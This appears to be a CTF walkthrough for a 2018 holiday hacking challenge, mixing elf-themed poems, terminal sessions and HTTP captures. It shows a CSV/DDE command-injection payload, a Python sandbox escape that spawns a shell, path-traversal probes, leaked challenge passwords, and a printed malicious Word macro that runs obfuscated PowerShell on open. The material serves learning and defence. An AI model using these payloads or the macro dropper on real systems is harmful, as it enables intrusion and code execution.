MMMMMMMMMMMMMMMMMMMMMMW  KWMMNK       KWMMNK KMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMM       NMMM   MMM       WMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMW        K           NMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMN   MMMMMMMMMMMWK           KWMMMMMMMMMMM   WMMMMMMMMMMMM
MMMMMMWK MMM    MMMMMMMMMMMMMMM      NMMMMMMMMMMMMMMM   KMMWKKWMMMMMM
MMMMMM   KMM    MMMMMMMMMMMMN KNM   MN  WMMMMMMMMMMMM   KMM    MMMMMM
M        KMM    MMMMMMMMMMMM             MMMMMMMMMMMM   KMM         M
MMN       MM    MMMMMMMMMMMMMN        KWMMMMMMMMMMMMM   KMM       NMM
MW              MMN   MMMMMWMMMMW   MMMMWWMMMMW   WMM             KMM
M     KWMN      NMK   MMMN     NM   M      MMM    NM       NMNK     M
MMWWMMW               WMM                  WMM               NMMMNWMM
MMMN        NMMW       NMK   N        KK   WM       KMMW        KWMMM
MM      KWMMMM               MMMM   MMMN               MMMMWK     KMM
MMW KNMMMMMMMMK   WMMMW       NMM   MW        MMMMWK   MMMMMMMM  KWMM
MMMMMMMMMMMMMMMMMMMW                            KWMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMW      WMMMMN       WMMMMN      MMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMN       K            K       KWMMMMMMMMMMMMMMMMMMM
MMWKKWMMMMMMMMK   MMMMW        MM   MWK      KWMMMW    MMMMMMMMNKKMMM
MM       WMMMM               MMMM   MMMN               MMMMWK     KMM
MMMN        NMMW       NMK   NK       KK   WM       KWMM         NMMM
MMWWMMWK              WMM                  WMM                MMMWMMM
M      WMN      NMK   MMMN      M   W      MMM    NM       WMWK     M
MW              MMN   MMMMMNMMMMM   MMMMWNMMMMW   WMM             KWM
MMN       MM    MMMMMMMMMMMMMNK       KWMMMMMMMMMMMMM   KMM      KWMM
M        KMM    MMMMMMMMMMMM             MMMMMMMMMMMM   KMM    K    M
MWWMMM   KMM    MMMMMMMMMMMM    M   W   NMMMMMMMMMMMM   KMM    MMMWMM
MMMMMMNKKMMM    MMMMMMMMMMMMMMMN    KWMMMMMMMMMMMMMMM   KMMWKKWMMMMMM
MMMMMMMMMMMM    MMMMMMMMMMMWK            MMMMMMMMMMMM   WMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMM                    NMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMM        MMM   MMW       WMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMW  KWMMWK        WMMN  KMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMM             MMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMM    M   WK  NMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM   MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMW MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM

Silly Minty Candycane, well this is what she gets.
"Winter2018" isn't for The Internets.
Passwords formed with season-year are on the hackers' list.
Maybe we should look at guidance published by the NIST?

Congratulations!

#!/usr/bin/env python3

import sys
from bs4 import BeautifulSoup
import datetime

def main():
    if len(sys.argv) != 2:
        print('Usage: {} <xml_event_file>'.format(sys.argv[0]))
        sys.exit(1)

    # This set will hold every user without a FailureReason attribute
    user_set_with_no_failure = set()

    # The date of the spray attack was determined manually, by looking at the
    # date of the attack against aaron.smith
    spray_attack_beginning = datetime.datetime.strptime('2018-09-10 13:03:33', '%Y-%m-%d %H:%M:%S')

    # We open and parse the file
    with open(sys.argv[1], 'r') as f:
        soup = BeautifulSoup(f.read(), 'lxml')

    for evt in soup.events.find_all('event'):
        # We check the date of every event.
        # If it's before the attack, we don't look at it
        event_time = evt.system.timecreated.get('systemtime').split('.')[0]
        event_time = datetime.datetime.strptime(event_time, '%Y-%m-%d %H:%M:%S')
        if event_time < spray_attack_beginning:
            continue
        else:
            evt_data = evt.eventdata
            # If there's no failure reason, we add our user to our result set.
            if not evt_data.find_all(attrs={'name': 'FailureReason'}):
                for user in evt_data.find_all(attrs={'name': 'TargetUserName'}):
                    user_set_with_no_failure.add(user.string.replace('@EM.KRINGLECON.COM', ''))

    # We print our result set
    print('\n'.join(user_set_with_no_failure))

if __name__ == '__main__':
    main()

$ ./parse_xml.py ./ho-ho-no.xml
HealthMailboxbe58608
HealthMailboxbe58608d4925422d8e4ea458cfedc612
SYSTEM
WIN-KCON-EXCH16$
HealthMailboxbab78a6
wunorse.openslae
minty.candycane

                                   .0.
                               .:llOXKllc.
                                 .OXXXK,
                                 '0l'cOc
                                 ..';'..
                               .';::::::'.
                            .':::::::::::::,.
                         .'::loc::::::::::::::,.
                      .'::::oMMNc::::::::::::::::,.
                    .,;;,,,,:dxl:::::::,,,:::;,,,,,,.
                    .,'  ..;:::::::::::;,;::::,.
                      .';::::::::::::::::::::dOxc,.
                   .';:::::::::okd::::::::::cXMWd:::,.
                .';:::::::::::cNMMo:::::::::::lc:::::::,.
             .'::::::::::::::::col::::::::::::;:::::::::::,.
                   .;:::,,,:::::::::::::::::;,,,:::::'.
                .'::::::;;;:::::::::::dko:::::;::::::::;.
             .,::::::::::::::::::::::lWMWc::::::::::::::::;.
            ..:00:...;::::loc:::::::::coc::::::::::::'.;;.....
              :NNl.,:::::xMMX:::::::::::::::::::::::::;,,.
               .,::::::::cxxl::::,,,:::::::::::::::::::::;.
            .,:::::::c:::::::::::;;;:::::::;;:::::kNXd::::::;.
         .,::::::::cKMNo::::::::::::::::::;,,;::::xKKo:::::::::;.
       .'''''',:::::x0Oc:::::::::oOOo:::::::::::::::::::::;'''''''.
            .,:::::::::::::::::::kWWk::::::::::::::ldl:::::;'.
         .,::;,,::::::::::::::::::::::::::::::::::lMMMl:::::::;'.
      .,:::::;,;:::::::::::::::::::::::::::::::::::ldl::::::::::::'.
   .,::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::'.
                               ..;;;;;;;;'.
                             .';;;;;;;;;;;;'.
                          .';;;;;;;;;;;;;;;;;;'.
                         ........................



Coalbox again, and I've got one more ask.
Sparkle Q. Redberry has fumbled a task.
Git pull and merging, she did all the day;
With all this gitting, some creds got away.

Urging - I scolded, "Don't put creds in git!"
She said, "Don't worry - you're having a fit.
If I did drop them then surely I could,
Upload some new code done up as one should."

Though I would like to believe this here elf,
I'm worried we've put some creds on a shelf.
Any who's curious might find our "oops,"
Please find it fast before some other snoops!

Find Sparkle's password, then run the runtoanswer tool.
elf@fa3b5d8290f0:~$

elf@76d904959962:~$ ls -lh
total 5.7M
drwxr-xr-x 1 elf elf 4.0K Nov 14 09:48 kcconfmgmt
-rwxr-xr-x 1 elf elf 5.7M Dec 14 16:13 runtoanswer
elf@76d904959962:~$ cd kcconfmgmt/
elf@76d904959962:~/kcconfmgmt$ git log | grep -i -C 5 password

commit d84b728c7d9cf7f9bafc5efb9978cd0e3122283d
Author: Sparkle Redberry <sredberry@kringlecon.com>
Date:   Sat Nov 10 19:51:52 2018 -0500

    Add user model for authentication, bcrypt password storage

commit c27135005753f6dde3511a7e70eb27f92f67393f
Author: Sparkle Redberry <sredberry@kringlecon.com>
Date:   Sat Nov 10 08:11:40 2018 -0500

--

commit 60a2ffea7520ee980a5fc60177ff4d0633f2516b
Author: Sparkle Redberry <sredberry@kringlecon.com>
Date:   Thu Nov 8 21:11:03 2018 -0500

    Per @tcoalbox admonishment, removed username/password from config.js, default settings in config.js.def need to be updated before use

commit b2376f4a93ca1889ba7d947c2d14be9a5d138802
Author: Sparkle Redberry <sredberry@kringlecon.com>
Date:   Thu Nov 8 13:25:32 2018 -0500

elf@76d904959962:~/kcconfmgmt$ find . -name config.js.def
./server/config/config.js.def

elf@eba657fc7961:~/kcconfmgmt$ git log -p -- ./server/config/config.js
commit 60a2ffea7520ee980a5fc60177ff4d0633f2516b
Author: Sparkle Redberry <sredberry@kringlecon.com>
Date:   Thu Nov 8 21:11:03 2018 -0500
    Per @tcoalbox admonishment, removed username/password from config.js, default settings in c
onfig.js.def need to be updated before use
diff --git a/server/config/config.js b/server/config/config.js
deleted file mode 100644
index 25be269..0000000
--- a/server/config/config.js
+++ /dev/null
@@ -1,4 +0,0 @@
-// Database URL
-module.exports = {
-    'url' : 'mongodb://sredberry:twinkletwinkletwinkle@127.0.0.1:27017/node-api'
-};
[snip]

elf@fa3b5d8290f0:~$ ./runtoanswer
Loading, please wait......



Enter Sparkle Redberry's password: twinkletwinkletwinkle


This ain't "I told you so" time, but it's true:
I shake my head at the goofs we go through.
Everyone knows that the gits aren't the place;
Store your credentials in some safer space.

Congratulations!

POST /api/upload/application HTTP/1.1
Host: careers.kringlecastle.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:64.0) Gecko/20100101 Firefox/64.0
Accept: */*
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: https://careers.kringlecastle.com/
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------1284099169763381272238033
Content-Length: 683
Connection: close

-----------------------------1284099169763381272238033
Content-Disposition: form-data; name="firstname"

Foo
-----------------------------1284099169763381272238033
Content-Disposition: form-data; name="lastname"

Bar
-----------------------------1284099169763381272238033
Content-Disposition: form-data; name="phone"

0000000000
-----------------------------1284099169763381272238033
Content-Disposition: form-data; name="email"

foo@bar.com
-----------------------------1284099169763381272238033
Content-Disposition: form-data; name="csv"; filename="resume.csv"
Content-Type: text/csv

Super pentester

-----------------------------1284099169763381272238033--

HTTP/1.1 200 OK
Server: nginx/1.14.1
Date: Thu, 03 Jan 2019 16:18:04 GMT
Content-Type: text/html; charset=utf-8
Connection: close
X-Powered-By: Express
ETag: W/"172-gwRZ+l3Bn2+yGvHpphldazlOPqI"
Content-Length: 370

Thank you for taking the time to upload your information to our elf resources shared workshop station! Our elf resources will review your CSV work history within the next few minutes to see if you qualify to join our elite team of InfoSec Elves. If you are accepted, you will be added to our secret list of potential new elf hires located in C:\candidate_evaluation.docx

GET /uploads/ HTTP/1.1
Host: careers.kringlecastle.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:64.0) Gecko/20100101 Firefox/64.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

HTTP/1.1 200 OK
Server: nginx/1.14.1
Date: Thu, 03 Jan 2019 16:23:08 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
X-Powered-By: Express
Cache-Control: public, max-age=0
Last-Modified: Fri, 07 Dec 2018 01:34:04 GMT
ETag: W/"f48-167864ce0e2"
Content-Length: 3912

<html>
[snip]
  <!--physical server path--->
   <p>Publicly accessible file served from: <br>
     C:\careerportal\resources\public\    not found......<p>
     <br>
   <!---logical web path-->
     <strong><p>Try: <br> https://careers.kringlecastle.com/public/'file name you are looking for'</p></strong>


</body>
</html>

$ cat copy_file_to_www.csv
=cmd|' /c copy C:\candidate_evaluation.docx C:\careerportal\resources\public\omg_secret_file.docx'!A0

POST /api/upload/application HTTP/1.1
Host: careers.kringlecastle.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:64.0) Gecko/20100101 Firefox/64.0
Accept: */*
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: https://careers.kringlecastle.com/
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------12548806719497856202051334912
Content-Length: 803
Connection: close

-----------------------------12548806719497856202051334912
Content-Disposition: form-data; name="firstname"

Foo
-----------------------------12548806719497856202051334912
Content-Disposition: form-data; name="lastname"

Bar
-----------------------------12548806719497856202051334912
Content-Disposition: form-data; name="phone"

0000000000
-----------------------------12548806719497856202051334912
Content-Disposition: form-data; name="email"

foo@bar.com
-----------------------------12548806719497856202051334912
Content-Disposition: form-data; name="csv"; filename="copy_file_to_www.csv"
Content-Type: text/csv

=cmd|' /c copy C:\candidate_evaluation.docx C:\careerportal\resources\public\omg_secret_file.docx'!A0

-----------------------------12548806719497856202051334912--

               :lllllllllllllllllllllllllllllllllllllllll,
               'lllllllllllllllllllllllllllllllllllllllll:
                clllllllllllllllllllllllllllllllllllllllll.
                'lllllllllllllllllllllllllllllllllllllllll:
                 ;lllllllllllllllllllllllllllllllllllllllll,
                  :lllllllllllllllllllllllllllllllllllllllll.
                   :lllllllllllllllllllllllllllllllllllllllll.
                    ;lllllllllllllllllllllllllllllllllllllllll'
                     'lllllllllllllllllllllllllllllllllllllllll;
                      .cllllllllllllllllllllllllllllllllllllllllc.
                      .:llllllllllllllllllllllllllllllllllllllllllc,.
                   .:llllllllllllllllllllllllllllllllllllllllllllllll;.
                .,cllllllllllllllllllllllllllllllllllllllllllllllllllll,
              .;llllllllllllllllllllllllllllllllllllllllllllllllllllllllc.
             ;lllllllllllllllllllllllllllllllllllllllllllllllllllllllllllc.
           'llllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllc
          :lllllll:..,..'cllllllllllllllllllllllc'.,'.'clllllllllllllllllll;
        .clllllll'  :XK.  :llllllllllllllllllll;  ,XX.  ;lllllllllllllllllll.
       .cllllllll.  oXX'  ,llllllllllllllllllll.  cXX;  .lllllllllllllllllll'
       clllllllll;  .xl  .cllllllllllllllllllllc.  do  .clllllllllllllllllll,
      :llllllllllll;'..':llllllllllllllllllllllll:'..':lllllllllllllllllllll'
     .llllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllll.
     ;lllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllc
     clllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllll.
     cllllllllllllllllllllllllll..;lc..:llllllllllllllllllllllllllllllllll;
     :lllllllllllllllllllllllll:  .l,  .lllllllllllllllllllllllllllllllll:
     ,lllllllllllllllllllllllllc  .l;  ,llllllllllllllllllllllllllllllll:
     .llllllllllllllllllllllllllc;lll::llllllllllllllllllllllllllllllll,
      'llllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllc.
       ,llllllllllllllllllllllllllllllllllllllllllllllllllllllllllll,
        'llllllllllllllllcccccccc;',.,clllllllllllllllllllllllllll,
         .cllllllc:::::;;,,,,'...':c:;...'',,;;;::::::lllllllllc,
           'cllllc::;::::cccccccccllc,,,,,,,'',:::::::lllllll;.
             .:llllllllllkMMMMMMMMMdlclllllllllollllllllll;.
               .':lllllllXMMMMMMMMMoloWMMMMMMMMXllllll:,.
                   .,:llccccccccccllllXMMMMMMMMWl:;'.
                       .,,,,,,,,,,clll:::::::::;
                      'lllllllllc.    ',,,,,,,,.
                     lMMMMMMMMMW,    .ddddddddd.
                    kMMMMMMMMMX.     kMMMMMMMMK
                   ':::::::::,      .NWWWWWWWW:
                  ',,,,,,,,,.       .,,,,,,,,'
                .oooooooooo.        ',,,,,,,,.
               .NMMMMMMMMW;        cOOOOOOOOx
               0MMMMMMMMMc         NMMMMMMMMk
               ;;;;;;;;;'         .KKKKKKKKK:
              .,,,,,,,,,           ,,,,,,,,,.
              .ddddddddo           ',,,,,,,,.
               XMMMMMMMN           cKKKKKKKKK.
    .;:::;;,,,,,:ldddddd.           0MMMMMMMMX.       ....
      .,:ccccccccccccccc            'cccccccccc:::ccccc;.
         .:ccccccccccccc            .ccccccccccccccc:'.
           .;;;;;;;;;;;;            .ccccccccccccc;.
                                    ..............


I'm another elf in trouble,
Caught within this Python bubble.
Here I clench my merry elf fist -
Words get filtered by a black list!
Can't remember how I got stuck,
Try it - maybe you'll have more luck?
For this challenge, you are more fit.
Beat this challenge - Mark and Bag it!
-SugarPlum Mary
To complete this challenge, escape Python
and run ./i_escaped
>>>

>>> import os
Use of the command import is prohibited for this question.

>>> eval
<built-in function eval>

>>> eval('import os')
Use of the command import is prohibited for this question.

>>> eval('impor' + 't os')
  File "<string>", line 1
    import os
         ^
SyntaxError: invalid syntax

>>> eval('__impo' + 'rt__')
<built-in function __import__>

>>> eval('__imp'+'ort__("os").system("/bin/sh")')
$ ls
i_escaped
$ ./i_escaped
Loading, please wait......

  ____        _   _
 |  _ \ _   _| |_| |__   ___  _ __
 | |_) | | | | __| '_ \ / _ \| '_ \
 |  __/| |_| | |_| | | | (_) | | | |
 |_|___ \__, |\__|_| |_|\___/|_| |_| _ _
 | ____||___/___ __ _ _ __   ___  __| | |
 |  _| / __|/ __/ _` | '_ \ / _ \/ _` | |
 | |___\__ \ (_| (_| | |_) |  __/ (_| |_|
 |_____|___/\___\__,_| .__/ \___|\__,_(_)
                     |_|
That's some fancy Python hacking -
You have sent that lizard packing!
-SugarPlum Mary

You escaped! Congratulations!

#! /usr/bin/env python3
# -*- coding: utf-8 -*-
import readline
import code

try:
    input = raw_input
except:
    pass

banner= ''' [snip] '''

def readfilter(*args,**kwargs):
    inline = input(*args,**kwargs)
    #warning: if any of your imports enable the blacklisted items you will expose the question to the test taker.
    for eachterm in whitelist:
        if inline.replace(" ","") == eachterm.replace(" ",""):
            return inline
    #warning: removing any of the following items from this list will likely expose the question.
    for eachterm in restricted_terms:
        if eachterm.replace(" ","") in inline.replace(" ",""):
            print("Use of the command {0} is prohibited for this question.".format(eachterm))
            return ""
    return inline

whitelist = []

if __name__ == "__main__":
    restricted_terms = ['import','pty', 'open','exec',"compile", "os.system", "subprocess.", "reload", "__builtins__" ,"__class__","__mro__" ]
    code.interact(banner=banner, readfunc=readfilter, local=locals())
    #eval("__im"+"port__('p'+'ty').s"+"pawn('/bin/bash')")

$ curl 'https://packalyzer.kringlecastle.com/uploads/../../../../etc/passwd' -H 'Cookie: PASESSION=287850715490745264942409679417652'
Not Found

$ curl 'https://packalyzer.kringlecastle.com/uploads/' -H 'Cookie: PASESSION=287850715490745264942409679417652'
Error: EISDIR: illegal operation on a directory, read
$ curl 'https://packalyzer.kringlecastle.com/uploads/test' -H 'Cookie: PASESSION=287850715490745264942409679417652'
Error: ENOENT: no such file or directory, open '/opt/http2/uploads//test

<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>
<script src="https://packalyzer.kringlecastle.com:80/pub/js/jquery.ui.widget.js"></script>
<script src="https://packalyzer.kringlecastle.com:80/pub/js/jquery.iframe-transport.js"></script>
<script src="https://packalyzer.kringlecastle.com:80/pub/js/jquery.fileupload.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/materialize/0.100.2/js/materialize.min.js"></script>
<script src="https://packalyzer.kringlecastle.com:80/pub/js/custom.js"></script>
<script src="https://packalyzer.kringlecastle.com:80/pub/js/xss.js"></script>
<script src="https://packalyzer.kringlecastle.com:80/pub/js/loader.js"></script>

$ curl 'https://packalyzer.kringlecastle.com:80/pub/'
<html>
<head><title>403 Forbidden</title></head>
<body bgcolor="white">
<center><h1>403 Forbidden</h1></center>
<hr><center>nginx/1.10.3</center>
</body>
</html>

$ curl 'https://packalyzer.kringlecastle.com:80/app.js'
#!/usr/bin/node
//pcapalyzer - The web based packet analyzer
const cluster = require('cluster');
const os = require('os');
const path = require('path');
const fs = require('fs');
const http2 = require('http2');
const koa = require('koa');
const Router = require('koa-router');
const mime = require('mime-types');
const mongoose = require('mongoose');
const koaBody = require('koa-body');
const cookie = require('koa-cookie');
const execSync = require('child_process').execSync;
const execAsync = require('child_process').exec;
const redis = require("redis");
const redis_connection = redis.createClient();
const {promisify} = require('util');
const getAsync = promisify(redis_connection.get).bind(redis_connection);
const setAsync = promisify(redis_connection.set).bind(redis_connection);
const delAsync = promisify(redis_connection.del).bind(redis_connection);
const sha1 = require('sha1');
[snip]

$ curl 'https://packalyzer.kringlecastle.com/SSLKEYLOGFILE/'
Error: ENOENT: no such file or directory, open '/opt/http2packalyzer_clientrandom_ssl.log/

$ curl 'https://packalyzer.kringlecastle.com/DEV/packalyzer_clientrandom_ssl.log'
CLIENT_RANDOM D5DFF2B39A827877C64457B9F246A2BC05869EDA679F2167692ACB36480AABB4 B6B4C39A3161566566E6291030EDEBA1F91511B8513F07CBE4A159022F497A1AEB18821887B51FDC1764F2219DEFC001
CLIENT_RANDOM BBEE641A4FB1B77D8D23FE324649B02E30B024BEA322D61CC77F2A1A5A6423C7 6289BBAFD1DF5C23CCC68C6E579D71E1D18416F2D0CEB05351E10A7C27A22FEDC66221C33DFCC908490C0EBBF9BF8F97
CLIENT_RANDOM 1C7E42420FBC79D157D86366DB1907CEC1D27343893647AF60D72CD4913825FE AEBC249465A01BA3A8D30E1FEB665CA0128A4F1BAC14D809F1B1F6F38F7B2423FFBC45E1402CA65E8B746174716F9B89
CLIENT_RANDOM 0E21203AE0707D515D46EF381CB7E04729110B18BF8DBE8EE8C6AA2D7F1A3742 C3461766C26A9209F1F248C4C7FA9A5E588A9E7933697D7F586D3380B187A344B04EB41C9232207008E54D9E4EAF53F8
CLIENT_RANDOM 2E6C446BACF3F740DA5DFB31BC922138C49B13C6DD522C770F81339D0582085A 90E48FE08378BB0E6569CB27547E8AAF724726289AE86188483A8C4D7B76A52DCA0598BBD8FF78E5F70CFDEA02208859
[snip]

220 mail.kringlecastle.com ESMTP Postfix (Ubuntu)
EHLO Mail.kringlecastle.com
250-mail.kringlecastle.com
250-PIPELINING
250-SIZE 10240000
250-VRFY
250-ETRN
250-STARTTLS
250-ENHANCEDSTATUSCODES
250-8BITMIME
250 DSN

MAIL FROM:<Holly.evergreen@mail.kringlecastle.com>
250 2.1.0 Ok
RCPT TO:<alabaster.snowball@mail.kringlecastle.com>
250 2.1.5 Ok
DATA
354 End data with <CR><LF>.<CR><LF>
Date: Fri, 28 Sep 2018 11:33:17 -0400
To: alabaster.snowball@mail.kringlecastle.com
From: Holly.evergreen@mail.kringlecastle.com
Subject: test Fri, 28 Sep 2018 11:33:17 -0400
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="----=_MIME_BOUNDARY_000_11181"

------=_MIME_BOUNDARY_000_11181
Content-Type: text/plain

Hey alabaster,

Santa said you needed help understanding musical notes for accessing the vault. He said your favorite key was D. Anyways, the following attachment should give you all the information you need about transposing music.

------=_MIME_BOUNDARY_000_11181
Content-Type: application/octet-stream
Content-Transfer-Encoding: BASE64
Content-Disposition: attachment

JVBERi0xLjUKJb/3ov4KOCAwIG9iago8PCAvTGluZWFyaXplZCAxIC9MIDk3ODMxIC9IIFsgNzM4
IDE0MCBdIC9PIDEyIC9FIDc3MzQ0IC9OIDIgL1QgOTc1MTcgPj4KZW5kb2JqCiAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKOSAwIG9iago8PCAv
[snip]
2zMAAFMTA30KZW5kc3RyZWFtCmVuZG9iagogICAgICAgICAgICAgICAgICAgICAgICAgICAgIApz
dGFydHhyZWYKMjE2CiUlRU9GCg==

------=_MIME_BOUNDARY_000_11181--


.

250 2.0.0 Ok: queued as 4CF931B5C3C0
QUIT
221 2.0.0 Bye

$ base64 -d < attachment.b64 > attachment
$ file attachment
attachment: PDF document, version 1.5
$ mv attachment music_transposition.pdf

I'll hear the bells on Christmas Day
Their sweet, familiar sound will play
  But just one elf,
  Pulls off the shelf,
The bells to hang on Santa's sleigh!
Please call me Shinny Upatree
I write you now, 'cause I would be
  The one who gets -
  Whom Santa lets
The bells to hang on Santa's sleigh!
But all us elves do want the job,
Conveying bells through wint'ry mob
  To be the one
  Toy making's done
The bells to hang on Santa's sleigh!
To make it fair, the Man devised
A fair and simple compromise.
  A random chance,
  The winner dance!
The bells to hang on Santa's sleigh!
Now here I need your hacker skill.
To be the one would be a thrill!
  Please do your best,
  And rig this test
The bells to hang on Santa's sleigh!
Complete this challenge by winning the sleighbell lottery for Shinny Upatree.
elf@04895b80b092:~$

elf@04895b80b092:~$ ls
gdb  objdump  sleighbell-lotto
elf@04895b80b092:~$ ./sleighbell-lotto
The winning ticket is number 1225.
Rolling the tumblers to see what number you'll draw...
You drew ticket number 4526!
Sorry - better luck next year!

elf@04895b80b092:~$ ./sleighbell-lotto
The winning ticket is number 1225.
Rolling the tumblers to see what number you'll draw...
You drew ticket number 9478!
Sorry - better luck next year!

  _  __     _             _       _____          _   _
 | |/ /    (_)           | |     / ____|        | | | |
 | ' / _ __ _ _ __   __ _| | ___| |     __ _ ___| |_| | ___
 |  < | '__| | '_ \ / _` | |/ _ \ |    / _` / __| __| |/ _ \
 | . \| |  | | | | | (_| | |  __/ |___| (_| \__ \ |_| |  __/
 |_|\_\_|  |_|_|_|_|\__, |_|\___|\_____\__,_|___/\__|_|\___|
             / ____| __/ |          | |
            | (___  |___/  ___  _ __| |_
             \___ \| '_ \ / _ \| '__| __|
             ____) | | | | (_) | |  | |_
            |_____/|_|_|_|\___/|_|_  \__|
               |_   _|  __ \ / ____|
                 | | | |  | | (___
         _____   | | | |  | |\___ \        __
        / ____| _| |_| |__| |____) |      /_ |
       | (___  |_____|_____/|_____/ _ __   | |
        \___ \ / _ \ '_ \/ __|/ _ \| '__|  | |
        ____) |  __/ | | \__ \ (_) | |     | |
       |_____/ \___|_| |_|___/\___/|_|     |_|
============================================================
INTRO:
  Kringle Castle is currently under attacked by new piece of
  ransomware that is encrypting all the elves files. Your
  job is to configure snort to alert on ONLY the bad
  ransomware traffic.
GOAL:
  Create a snort rule that will alert ONLY on bad ransomware
  traffic by adding it to snorts /etc/snort/rules/local.rules
  file. DNS traffic is constantly updated to snort.log.pcap
COMPLETION:
  Successfully create a snort rule that matches ONLY
  bad DNS traffic and NOT legitimate user traffic and the
  system will notify you of your success.

  Check out ~/more_info.txt for additional information.
elf@4a4351a6045e:~$ cat more_info.txt
MORE INFO:
  A full capture of DNS traffic for the last 30 seconds is
  constantly updated to:
  /home/elf/snort.log.pcap
  You can also test your snort rule by running:
  snort -A fast -r ~/snort.log.pcap -l ~/snort_logs -c /etc/snort/snort.conf
  This will create an alert file at ~/snort_logs/alert
  This sensor also hosts an nginx web server to access the
  last 5 minutes worth of pcaps for offline analysis. These
  can be viewed by logging into:
  http://snortsensor1.kringlecastle.com/
  Using the credentials:
  ----------------------
  Username | elf
  Password | onashelf
  tshark and tcpdump have also been provided on this sensor.
HINT:
  Malware authors often user dynamic domain names and
  IP addresses that change frequently within minutes or even
  seconds to make detecting and block malware more difficult.
  As such, its a good idea to analyze traffic to find patterns
  and match upon these patterns instead of just IP/domains.

alert udp any any -> any any (msg:"Ransomware trafic detected"; pcre:"/77616E6E61636F6F6B69652E6D696E2E707331/"; metadata:service dns; sid:1337; rev:3;)

elf@7a674ac839a9:~$ echo -e '\nalert udp any any -> any any (msg:"Ransomware trafic detected"; pcre:"/77616E6E61636F6F6B69652E6D696E2E707331/"; metadata:service dns; sid:1337; rev:3;)' >> /etc/snort/rules/local.rules
elf@7a674ac839a9:~$
[+] Congratulation! Snort is alerting on all ransomware and only the ransomware!

$ 7z -pelves x CHOCOLATE_CHIP_COOKIE_RECIPE.zip

7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=fr_FR.UTF-8,Utf16=on,HugeFiles=on,64 bits,8 CPUs Intel(R) Core(TM) i7-8550U CPU @ 1.80GHz (806EA),ASM,AES-NI)

Scanning the drive for archives:
1 file, 110699 bytes (109 KiB)

Extracting archive: CHOCOLATE_CHIP_COOKIE_RECIPE.zip
--
Path = CHOCOLATE_CHIP_COOKIE_RECIPE.zip
Type = zip
Physical Size = 110699

Everything is Ok

Size:       113540
Compressed: 110699
$  ls -lh
total 228K
-rw-r--r-- 1 useless useless 111K déc.  17 18:46 CHOCOLATE_CHIP_COOKIE_RECIPE.docm
-rw-r--r-- 1 useless useless 109K déc.  18 04:17 CHOCOLATE_CHIP_COOKIE_RECIPE.zip

Rem Attribute VBA_ModuleType=VBAModule
Option VBASupport 1
Sub AutoOpen()
Dim cmd As String
cmd = "powershell.exe -NoE -Nop -NonI -ExecutionPolicy Bypass -C ""sal a New-Object; iex(a IO.StreamReader((a IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String('lVHRSsMwFP2VSwksYUtoWkxxY4iyir4oaB+EMUYoqQ1syUjToXT7d2/1Zb4pF5JDzuGce2+a3tXRegcP2S0lmsFA/AKIBt4ddjbChArBJnCCGxiAbOEMiBsfSl23MKzrVocNXdfeHU2Im/k8euuiVJRsZ1Ixdr5UEw9LwGOKRucFBBP74PABMWmQSopCSVViSZWre6w7da2uslKt8C6zskiLPJcJyttRjgC9zehNiQXrIBXispnKP7qYZ5S+mM7vjoavXPek9wb4qwmoARN8a2KjXS9qvwf+TSakEb+JBHj1eTBQvVVMdDFY997NQKaMSzZurIXpEv4bYsWfcnA51nxQQvGDxrlP8NxH/kMy9gXREohG'),[IO.Compression.CompressionMode]::Decompress)),[Text.Encoding]::ASCII)).ReadToEnd()"" "
Shell cmd
End Sub

